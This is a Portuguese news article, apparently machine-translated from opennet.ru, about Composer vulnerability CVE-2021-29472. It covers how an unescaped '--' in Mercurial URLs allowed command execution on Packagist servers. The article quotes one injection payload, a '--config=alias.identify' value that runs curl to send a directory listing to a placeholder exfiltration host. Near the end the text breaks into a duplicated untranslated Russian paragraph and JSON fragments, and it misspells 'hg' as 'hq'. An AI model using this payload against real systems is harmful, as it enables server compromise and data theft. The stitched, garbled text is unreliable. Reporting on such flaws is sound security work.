Foi identificada uma vulnerabilidade cr\u00edtica no gerenciador de depend\u00eancias Composer (CVE-2021-29472), permitindo a execu\u00e7\u00e3o de comandos arbitr\u00e1rios no sistema ao processar pacotes com um valor de URL formatado especificamente, que define um endere\u00e7o para a transfer\u00eancia de c\u00f3digo-fonte. O problema se manifesta nos componentes GitDriver, SvnDriver e HgDriver, utilizados ao empregar sistemas de controle de vers\u00e3o como Git, Subversion e Mercurial. A vulnerabilidade foi corrigida nas vers\u00f5es 1.10.22 e 2.0.13 do Composer. <\/p>\n
\u00c9 importante destacar que o problema afetou principalmente o reposit\u00f3rio de pacotes Packagist, utilizado por padr\u00e3o no Composer, que cont\u00e9m 306 mil pacotes para desenvolvedores em PHP e que atende mensalmente mais de 1,4 bilh\u00e3o de downloads. Em um experimento, foi demonstrado que, caso informa\u00e7\u00f5es sobre a vulnerabilidade fossem conhecidas, atacantes poderiam assumir o controle da infraestrutura do Packagist e interceptar credenciais dos mantenedores ou redirecionar o download de pacotes para um servidor externo, fazendo a entrega de vers\u00f5es alteradas de pacotes para instalar um backdoor durante o processo de instala\u00e7\u00e3o de depend\u00eancias. <\/p>\n
O perigo para os usu\u00e1rios finais \u00e9 mitigado pelo fato de que o conte\u00fado do composer.json \u00e9 geralmente definido pelo pr\u00f3prio usu\u00e1rio, e os links para o c\u00f3digo-fonte s\u00e3o fornecidos ao fazer solicita\u00e7\u00f5es a reposit\u00f3rios externos, que normalmente s\u00e3o confi\u00e1veis. O principal impacto ocorreu no reposit\u00f3rio Packagist.org e no servi\u00e7o Private Packagist, que chamam o Composer com a transmiss\u00e3o de dados fornecidos pelos usu\u00e1rios. Os invasores poderiam executar seu c\u00f3digo nos servidores do Packagist ao publicar um pacote formatado especificamente. <\/p>\n
A equipe do Packagist corrigiu a vulnerabilidade em 12 horas ap\u00f3s ser notificada. Pesquisadores informaram, em particular, os desenvolvedores do Packagist no dia 22 de abril, e o problema foi solucionado no mesmo dia. A atualiza\u00e7\u00e3o p\u00fablica do Composer, que corrigiu a vulnerabilidade, foi divulgada em 27 de abril, e os detalhes foram revelados em 28 de abril. A auditoria dos logs nos servidores do Packagist n\u00e3o revelou atividades suspeitas relacionadas \u00e0 vulnerabilidade. <\/p>\n
O problema \u00e9 causado por um erro no c\u00f3digo de valida\u00e7\u00e3o de URL no arquivo raiz composer.json e nos links para download do c\u00f3digo-fonte. O erro est\u00e1 presente no c\u00f3digo desde novembro de 2011. No Packagist, s\u00e3o aplicadas camadas especiais para organizar o download do c\u00f3digo sem vincula\u00e7\u00e3o a um sistema de controle de vers\u00e3o espec\u00edfico, que s\u00e3o executadas atrav\u00e9s da chamada 'fromShellCommandline' com a passagem de argumentos de linha de comando. Por exemplo, para o git, a comando 'git ls-remote --heads $URL' \u00e9 chamada, onde o URL \u00e9 processado pelo m\u00e9todo 'ProcessExecutor::escape($url)', que escapa constru\u00e7\u00f5es potencialmente perigosas, como '$(...)' ou '`...`'. <\/p>\n
A ess\u00eancia do problema \u00e9 que o m\u00e9todo ProcessExecutor::escape n\u00e3o escapava a sequ\u00eancia '--', o que permitia especificar qualquer par\u00e2metro adicional no URL. Esse tipo de escapamento estava ausente nos drivers GitDriver.php, SvnDriver.php e HgDriver.php. Uma ataque atrav\u00e9s do GitDriver.php foi dificultado pelo fato de que o comando 'git ls-remote' n\u00e3o suportava a especifica\u00e7\u00e3o de argumentos adicionais ap\u00f3s o caminho. No entanto, foi poss\u00edvel um ataque ao HgDriver.php atrav\u00e9s da passagem do par\u00e2metro '--config' para a ferramenta 'hq', permitindo a execu\u00e7\u00e3o de qualquer comando por meio da manipula\u00e7\u00e3o da configura\u00e7\u00e3o 'alias.identify'. Por exemplo, para baixar e executar o c\u00f3digo atrav\u00e9s da execu\u00e7\u00e3o da ferramenta curl, poderia ser especificado: --config=alias.identify=!curl http:\/\/exfiltration-host.tld --data \"$(ls -alh)\". <\/p>\n
Ao publicar um pacote de teste no Packagist com um URL semelhante, os pesquisadores confirmaram que, ap\u00f3s a publica\u00e7\u00e3o em seu servidor, uma solicita\u00e7\u00e3o HTTP foi recebida de um dos servidores<\/a> Packagist na AWS, contendo a listagem de arquivos no diret\u00f3rio atual. \u0412 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0435\u0439 Composer \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2021-29472), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u0441\u043e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c URL, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u043c \u0430\u0434\u0440\u0435\u0441 \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0445 \u0442\u0435\u043a\u0441\u0442\u043e\u0432. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 GitDriver, SvnDriver \u0438 HgDriver, \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u043c\u044b\u0445 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c\u0438 \u0442\u0435\u043a\u0441\u0442\u0430\u043c\u0438 Git, Subversion \u0438 Mercurial. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0430\u0445 Composer 1.10.22 \u0438 2.0.13. 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Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"